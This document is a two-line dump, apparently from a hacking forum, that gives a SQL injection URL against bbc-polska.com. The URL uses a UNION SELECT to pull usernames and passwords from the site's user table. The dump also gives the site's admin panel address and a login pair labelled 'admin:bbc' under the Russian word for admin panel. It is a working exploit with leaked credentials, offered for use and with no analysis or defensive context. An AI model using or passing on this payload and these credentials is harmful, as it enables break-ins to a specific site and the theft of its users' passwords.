http://bbc-polska.com/index.php?t=of&_id=-1+union+select+1,2,3,4,concat_ws(0x3a,username,pas sword),6,7,8+from+bbc.user/*

Админка : http://bbc-polska.com/admin admin:bbc